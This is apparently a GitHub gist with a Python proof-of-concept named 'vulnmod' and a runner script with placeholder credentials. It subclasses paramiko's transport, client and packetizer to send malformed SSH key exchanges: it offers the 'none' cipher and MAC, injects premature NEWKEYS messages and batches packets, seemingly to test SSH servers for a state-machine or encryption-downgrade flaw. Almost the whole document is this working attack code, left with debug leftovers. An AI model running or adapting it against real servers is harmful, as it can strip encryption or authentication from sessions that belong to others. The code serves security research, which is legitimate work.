Created
September 4, 2021 19:12
-
-
Save YiChenChai/e669708a5f8c160511e1f3a139c62ae6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from vulnmod import * | |
import paramiko | |
import logging | |
logging.basicConfig() | |
logging.getLogger("paramiko").setLevel(logging.DEBUG) # for example | |
ssh_client = VulnSSHClient() | |
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
ssh_client.connect(hostname='x.x.x.x',username='xxx',password='xxx') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from paramiko.transport import Transport | |
from paramiko.client import SSHClient | |
import os | |
import sys | |
import socket | |
from paramiko.util import retry_on_signal, ClosingContextManager | |
from paramiko.common import ( | |
xffffffff, | |
cMSG_CHANNEL_OPEN, | |
cMSG_IGNORE, | |
cMSG_GLOBAL_REQUEST, | |
DEBUG, | |
MSG_KEXINIT, | |
MSG_IGNORE, | |
MSG_DISCONNECT, | |
MSG_DEBUG, | |
ERROR, | |
WARNING, | |
cMSG_UNIMPLEMENTED, | |
INFO, | |
cMSG_KEXINIT, | |
cMSG_NEWKEYS, | |
MSG_NEWKEYS, | |
cMSG_REQUEST_SUCCESS, | |
cMSG_REQUEST_FAILURE, | |
CONNECTION_FAILED_CODE, | |
OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED, | |
OPEN_SUCCEEDED, | |
cMSG_CHANNEL_OPEN_FAILURE, | |
cMSG_CHANNEL_OPEN_SUCCESS, | |
MSG_GLOBAL_REQUEST, | |
MSG_REQUEST_SUCCESS, | |
MSG_REQUEST_FAILURE, | |
MSG_CHANNEL_OPEN_SUCCESS, | |
MSG_CHANNEL_OPEN_FAILURE, | |
MSG_CHANNEL_OPEN, | |
MSG_CHANNEL_SUCCESS, | |
MSG_CHANNEL_FAILURE, | |
MSG_CHANNEL_DATA, | |
MSG_CHANNEL_EXTENDED_DATA, | |
MSG_CHANNEL_WINDOW_ADJUST, | |
MSG_CHANNEL_REQUEST, | |
MSG_CHANNEL_EOF, | |
MSG_CHANNEL_CLOSE, | |
MIN_WINDOW_SIZE, | |
MIN_PACKET_SIZE, | |
MAX_WINDOW_SIZE, | |
DEFAULT_WINDOW_SIZE, | |
DEFAULT_MAX_PACKET_SIZE, | |
HIGHEST_USERAUTH_MESSAGE_ID, | |
MSG_UNIMPLEMENTED, | |
MSG_NAMES, | |
) | |
from paramiko.compress import ZlibCompressor, ZlibDecompressor | |
from paramiko.dsskey import DSSKey | |
from paramiko.ed25519key import Ed25519Key | |
from paramiko.kex_curve25519 import KexCurve25519 | |
from paramiko.kex_gex import KexGex, KexGexSHA256 | |
from paramiko.kex_group1 import KexGroup1 | |
from paramiko.kex_group14 import KexGroup14, KexGroup14SHA256 | |
from paramiko.kex_group16 import KexGroup16SHA512 | |
from paramiko.kex_ecdh_nist import KexNistp256, KexNistp384, KexNistp521 | |
from paramiko.kex_gss import KexGSSGex, KexGSSGroup1, KexGSSGroup14 | |
from paramiko.message import Message | |
from paramiko.packet import Packetizer, NeedRekeyException | |
from paramiko.primes import ModulusPack | |
from paramiko.py3compat import string_types, long, byte_ord, b, input, PY2 | |
from paramiko.rsakey import RSAKey | |
from paramiko.ecdsakey import ECDSAKey | |
from paramiko.server import ServerInterface | |
from paramiko.sftp_client import SFTPClient | |
from paramiko.ssh_exception import ( | |
SSHException, | |
BadAuthenticationType, | |
ChannelException, | |
ProxyCommandFailure, | |
) | |
from paramiko.util import retry_on_signal, ClosingContextManager, clamp_value | |
from paramiko import util | |
SSH_PORT = 22 | |
_active_threads = [] | |
class VulnTransport(Transport): | |
def _send_message(self, data, queue = False): | |
if 'queue' not in dir(self): | |
self.queue = [] | |
if not queue: | |
v = VulnMessage(self.queue + [data]) | |
super(VulnTransport, self)._send_message(v) | |
self.queue = [] | |
else: | |
self.queue.append(data) | |
def _send_kex_init(self, bad = False): | |
self.clear_to_send_lock.acquire() | |
try: | |
self.clear_to_send.clear() | |
finally: | |
self.clear_to_send_lock.release() | |
self.gss_kex_used = False | |
self.in_kex = True | |
if self.server_mode: | |
mp_required_prefix = "diffie-hellman-group-exchange-sha" | |
kex_mp = [ | |
k | |
for k in self.preferred_kex | |
if k.startswith(mp_required_prefix) | |
] | |
if (self._modulus_pack is None) and (len(kex_mp) > 0): | |
# can't do group-exchange if we don't have a pack of potential | |
# primes | |
pkex = [ | |
k | |
for k in self.get_security_options().kex | |
if not k.startswith(mp_required_prefix) | |
] | |
self.get_security_options().kex = pkex | |
available_server_keys = list( | |
filter( | |
list(self.server_key_dict.keys()).__contains__, | |
self.preferred_keys, | |
) | |
) | |
else: | |
available_server_keys = self.preferred_keys | |
m = Message() | |
m.add_byte(cMSG_KEXINIT) | |
m.add_bytes(os.urandom(16)) | |
m.add_list(self.preferred_kex) | |
m.add_list(available_server_keys) | |
# print self.preferred_ciphers | |
if bad: | |
m.add_list(('none',)) | |
else: | |
m.add_list(self.preferred_ciphers) | |
m.add_list(self.preferred_ciphers) | |
if bad: | |
m.add_list(('none',)) | |
else: | |
m.add_list(self.preferred_macs) | |
m.add_list(self.preferred_macs) | |
m.add_list(self.preferred_compression) | |
m.add_list(self.preferred_compression) | |
m.add_string(bytes()) | |
m.add_string(bytes()) | |
m.add_boolean(False) | |
m.add_int(0) | |
# save a copy for later (needed to compute a hash) | |
self.local_kex_init = m.asbytes() | |
self._send_message(m, queue = False) | |
mm = Message() | |
mm.add_byte(chr(21)) | |
self._send_message(mm) | |
input() | |
# self.packetizer.send_message(m) | |
def run(self): | |
# (use the exposed "run" method, because if we specify a thread target | |
# of a private method, threading.Thread will keep a reference to it | |
# indefinitely, creating a GC cycle and not letting Transport ever be | |
# GC'd. it's a bug in Thread.) | |
# Hold reference to 'sys' so we can test sys.modules to detect | |
# interpreter shutdown. | |
self.sys = sys | |
# active=True occurs before the thread is launched, to avoid a race | |
_active_threads.append(self) | |
tid = hex(long(id(self)) & xffffffff) | |
if self.server_mode: | |
self._log(DEBUG, "starting thread (server mode): {}".format(tid)) | |
else: | |
self._log(DEBUG, "starting thread (client mode): {}".format(tid)) | |
try: | |
try: | |
self.packetizer.write_all(b(self.local_version + "\r\n")) | |
self._log( | |
DEBUG, | |
"Local version/idstring: {}".format(self.local_version), | |
) # noqa | |
self._check_banner() | |
# The above is actually very much part of the handshake, but | |
# sometimes the banner can be read but the machine is not | |
# responding, for example when the remote ssh daemon is loaded | |
# in to memory but we can not read from the disk/spawn a new | |
# shell. | |
# Make sure we can specify a timeout for the initial handshake. | |
# Re-use the banner timeout for now. | |
self.packetizer.start_handshake(self.handshake_timeout) | |
self._send_kex_init(bad = True) | |
self._expect_packet(MSG_KEXINIT) | |
print 'heee' | |
input() | |
while self.active: | |
if self.packetizer.need_rekey() and not self.in_kex: | |
self._send_kex_init() | |
try: | |
ptype, m = self.packetizer.read_message() | |
except NeedRekeyException: | |
continue | |
if ptype == MSG_IGNORE: | |
continue | |
elif ptype == MSG_DISCONNECT: | |
self._parse_disconnect(m) | |
break | |
elif ptype == MSG_DEBUG: | |
self._parse_debug(m) | |
continue | |
if len(self._expected_packet) > 0: | |
if ptype not in self._expected_packet: | |
raise SSHException( | |
"Expecting packet from {!r}, got {:d}".format( | |
self._expected_packet, ptype | |
) | |
) # noqa | |
self._expected_packet = tuple() | |
if (ptype >= 30) and (ptype <= 41): | |
# self.kex_engine.parse_next(ptype, m) | |
mm = Message() | |
mm.add_byte(chr(21)) | |
self._send_message(mm) | |
continue | |
if ptype in self._handler_table: | |
error_msg = self._ensure_authed(ptype, m) | |
if error_msg: | |
self._send_message(error_msg) | |
else: | |
self._handler_table[ptype](self, m) | |
elif ptype in self._channel_handler_table: | |
chanid = m.get_int() | |
chan = self._channels.get(chanid) | |
if chan is not None: | |
self._channel_handler_table[ptype](chan, m) | |
elif chanid in self.channels_seen: | |
self._log( | |
DEBUG, | |
"Ignoring message for dead channel {:d}".format( # noqa | |
chanid | |
), | |
) | |
else: | |
self._log( | |
ERROR, | |
"Channel request for unknown channel {:d}".format( # noqa | |
chanid | |
), | |
) | |
break | |
elif ( | |
self.auth_handler is not None | |
and ptype in self.auth_handler._handler_table | |
): | |
handler = self.auth_handler._handler_table[ptype] | |
handler(self.auth_handler, m) | |
if len(self._expected_packet) > 0: | |
continue | |
else: | |
# Respond with "I don't implement this particular | |
# message type" message (unless the message type was | |
# itself literally MSG_UNIMPLEMENTED, in which case, we | |
# just shut up to avoid causing a useless loop). | |
name = MSG_NAMES[ptype] | |
warning = "Oops, unhandled type {} ({!r})".format( | |
ptype, name | |
) | |
self._log(WARNING, warning) | |
if ptype != MSG_UNIMPLEMENTED: | |
msg = Message() | |
msg.add_byte(cMSG_UNIMPLEMENTED) | |
msg.add_int(m.seqno) | |
self._send_message(msg) | |
self.packetizer.complete_handshake() | |
except SSHException as e: | |
self._log(ERROR, "Exception: " + str(e)) | |
self._log(ERROR, util.tb_strings()) | |
self.saved_exception = e | |
except EOFError as e: | |
self._log(DEBUG, "EOF in transport thread") | |
self.saved_exception = e | |
except socket.error as e: | |
if type(e.args) is tuple: | |
if e.args: | |
emsg = "{} ({:d})".format(e.args[1], e.args[0]) | |
else: # empty tuple, e.g. socket.timeout | |
emsg = str(e) or repr(e) | |
else: | |
emsg = e.args | |
self._log(ERROR, "Socket exception: " + emsg) | |
self.saved_exception = e | |
except Exception as e: | |
self._log(ERROR, "Unknown exception: " + str(e)) | |
self._log(ERROR, util.tb_strings()) | |
self.saved_exception = e | |
_active_threads.remove(self) | |
for chan in list(self._channels.values()): | |
chan._unlink() | |
if self.active: | |
self.active = False | |
self.packetizer.close() | |
if self.completion_event is not None: | |
self.completion_event.set() | |
if self.auth_handler is not None: | |
self.auth_handler.abort() | |
for event in self.channel_events.values(): | |
event.set() | |
try: | |
self.lock.acquire() | |
self.server_accept_cv.notify() | |
finally: | |
self.lock.release() | |
self.sock.close() | |
except: | |
# Don't raise spurious 'NoneType has no attribute X' errors when we | |
# wake up during interpreter shutdown. Or rather -- raise | |
# everything *if* sys.modules (used as a convenient sentinel) | |
# appears to still exist. | |
if self.sys.modules is not None: | |
raise | |
class VulnSSHClient(SSHClient): | |
def connect( | |
self, | |
hostname, | |
port=SSH_PORT, | |
username=None, | |
password=None, | |
pkey=None, | |
key_filename=None, | |
timeout=None, | |
allow_agent=True, | |
look_for_keys=True, | |
compress=False, | |
sock=None, | |
gss_auth=False, | |
gss_kex=False, | |
gss_deleg_creds=True, | |
gss_host=None, | |
banner_timeout=None, | |
auth_timeout=None, | |
gss_trust_dns=True, | |
passphrase=None, | |
disabled_algorithms=None, | |
): | |
""" | |
Connect to an SSH server and authenticate to it. The server's host key | |
is checked against the system host keys (see `load_system_host_keys`) | |
and any local host keys (`load_host_keys`). If the server's hostname | |
is not found in either set of host keys, the missing host key policy | |
is used (see `set_missing_host_key_policy`). The default policy is | |
to reject the key and raise an `.SSHException`. | |
Authentication is attempted in the following order of priority: | |
- The ``pkey`` or ``key_filename`` passed in (if any) | |
- ``key_filename`` may contain OpenSSH public certificate paths | |
as well as regular private-key paths; when files ending in | |
``-cert.pub`` are found, they are assumed to match a private | |
key, and both components will be loaded. (The private key | |
itself does *not* need to be listed in ``key_filename`` for | |
this to occur - *just* the certificate.) | |
- Any key we can find through an SSH agent | |
- Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in | |
``~/.ssh/`` | |
- When OpenSSH-style public certificates exist that match an | |
existing such private key (so e.g. one has ``id_rsa`` and | |
``id_rsa-cert.pub``) the certificate will be loaded alongside | |
the private key and used for authentication. | |
- Plain username/password auth, if a password was given | |
If a private key requires a password to unlock it, and a password is | |
passed in, that password will be used to attempt to unlock the key. | |
:param str hostname: the server to connect to | |
:param int port: the server port to connect to | |
:param str username: | |
the username to authenticate as (defaults to the current local | |
username) | |
:param str password: | |
Used for password authentication; is also used for private key | |
decryption if ``passphrase`` is not given. | |
:param str passphrase: | |
Used for decrypting private keys. | |
:param .PKey pkey: an optional private key to use for authentication | |
:param str key_filename: | |
the filename, or list of filenames, of optional private key(s) | |
and/or certs to try for authentication | |
:param float timeout: | |
an optional timeout (in seconds) for the TCP connect | |
:param bool allow_agent: | |
set to False to disable connecting to the SSH agent | |
:param bool look_for_keys: | |
set to False to disable searching for discoverable private key | |
files in ``~/.ssh/`` | |
:param bool compress: set to True to turn on compression | |
:param socket sock: | |
an open socket or socket-like object (such as a `.Channel`) to use | |
for communication to the target host | |
:param bool gss_auth: | |
``True`` if you want to use GSS-API authentication | |
:param bool gss_kex: | |
Perform GSS-API Key Exchange and user authentication | |
:param bool gss_deleg_creds: Delegate GSS-API client credentials or not | |
:param str gss_host: | |
The targets name in the kerberos database. default: hostname | |
:param bool gss_trust_dns: | |
Indicates whether or not the DNS is trusted to securely | |
canonicalize the name of the host being connected to (default | |
``True``). | |
:param float banner_timeout: an optional timeout (in seconds) to wait | |
for the SSH banner to be presented. | |
:param float auth_timeout: an optional timeout (in seconds) to wait for | |
an authentication response. | |
:param dict disabled_algorithms: | |
an optional dict passed directly to `.Transport` and its keyword | |
argument of the same name. | |
:raises: | |
`.BadHostKeyException` -- if the server's host key could not be | |
verified | |
:raises: `.AuthenticationException` -- if authentication failed | |
:raises: | |
`.SSHException` -- if there was any other error connecting or | |
establishing an SSH session | |
:raises socket.error: if a socket error occurred while connecting | |
.. versionchanged:: 1.15 | |
Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``, | |
``gss_deleg_creds`` and ``gss_host`` arguments. | |
.. versionchanged:: 2.3 | |
Added the ``gss_trust_dns`` argument. | |
.. versionchanged:: 2.4 | |
Added the ``passphrase`` argument. | |
.. versionchanged:: 2.6 | |
Added the ``disabled_algorithms`` argument. | |
""" | |
if not sock: | |
errors = {} | |
# Try multiple possible address families (e.g. IPv4 vs IPv6) | |
to_try = list(self._families_and_addresses(hostname, port)) | |
for af, addr in to_try: | |
try: | |
sock = socket.socket(af, socket.SOCK_STREAM) | |
if timeout is not None: | |
try: | |
sock.settimeout(timeout) | |
except: | |
pass | |
retry_on_signal(lambda: sock.connect(addr)) | |
# Break out of the loop on success | |
break | |
except socket.error as e: | |
# Raise anything that isn't a straight up connection error | |
# (such as a resolution error) | |
if e.errno not in (ECONNREFUSED, EHOSTUNREACH): | |
raise | |
# Capture anything else so we know how the run looks once | |
# iteration is complete. Retain info about which attempt | |
# this was. | |
errors[addr] = e | |
# Make sure we explode usefully if no address family attempts | |
# succeeded. We've no way of knowing which error is the "right" | |
# one, so we construct a hybrid exception containing all the real | |
# ones, of a subclass that client code should still be watching for | |
# (socket.error) | |
if len(errors) == len(to_try): | |
raise NoValidConnectionsError(errors) | |
t = self._transport = VulnTransport( | |
sock, | |
gss_kex=gss_kex, | |
gss_deleg_creds=gss_deleg_creds, | |
disabled_algorithms=disabled_algorithms, | |
) | |
self._transport.packetizer = VulnPacketizer(sock) | |
t.use_compression(compress=compress) | |
t.set_gss_host( | |
# t.hostname may be None, but GSS-API requires a target name. | |
# Therefore use hostname as fallback. | |
gss_host=gss_host or hostname, | |
trust_dns=gss_trust_dns, | |
gssapi_requested=gss_auth or gss_kex, | |
) | |
if self._log_channel is not None: | |
t.set_log_channel(self._log_channel) | |
if banner_timeout is not None: | |
t.banner_timeout = banner_timeout | |
if auth_timeout is not None: | |
t.auth_timeout = auth_timeout | |
if port == SSH_PORT: | |
server_hostkey_name = hostname | |
else: | |
server_hostkey_name = "[{}]:{}".format(hostname, port) | |
our_server_keys = None | |
our_server_keys = self._system_host_keys.get(server_hostkey_name) | |
if our_server_keys is None: | |
our_server_keys = self._host_keys.get(server_hostkey_name) | |
if our_server_keys is not None: | |
keytype = our_server_keys.keys()[0] | |
sec_opts = t.get_security_options() | |
other_types = [x for x in sec_opts.key_types if x != keytype] | |
sec_opts.key_types = [keytype] + other_types | |
t.start_client(timeout=timeout) | |
# If GSS-API Key Exchange is performed we are not required to check the | |
# host key, because the host is authenticated via GSS-API / SSPI as | |
# well as our client. | |
if not self._transport.gss_kex_used: | |
server_key = t.get_remote_server_key() | |
if our_server_keys is None: | |
# will raise exception if the key is rejected | |
self._policy.missing_host_key( | |
self, server_hostkey_name, server_key | |
) | |
else: | |
our_key = our_server_keys.get(server_key.get_name()) | |
if our_key != server_key: | |
if our_key is None: | |
our_key = list(our_server_keys.values())[0] | |
raise BadHostKeyException(hostname, server_key, our_key) | |
if username is None: | |
username = getpass.getuser() | |
if key_filename is None: | |
key_filenames = [] | |
elif isinstance(key_filename, string_types): | |
key_filenames = [key_filename] | |
else: | |
key_filenames = key_filename | |
self._auth( | |
username, | |
password, | |
pkey, | |
key_filenames, | |
allow_agent, | |
look_for_keys, | |
gss_auth, | |
gss_kex, | |
gss_deleg_creds, | |
t.gss_host, | |
passphrase, | |
) | |
class FakeStr: | |
def __init__(self, messages): | |
self.messages = messages | |
self.thestr = ''.join([m.asbytes() for m in self.messages]) | |
def __getitem__(self, idx): | |
return self.thestr[idx] | |
def __len__(self): | |
return len(self.thestr) | |
class VulnMessage: | |
def __init__(self, messages): | |
self.messages = messages | |
def asbytes(self): | |
return FakeStr(self.messages) | |
class VulnPacketizer(Packetizer): | |
def _build_packet(self, payload): | |
if payload.__class__.__name__ == 'FakeStr': | |
return ''.join([super(VulnPacketizer, self)._build_packet(p.asbytes()) for p in payload.messages]) | |
return super(VulnPacketizer, self)._build_packet(payload) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment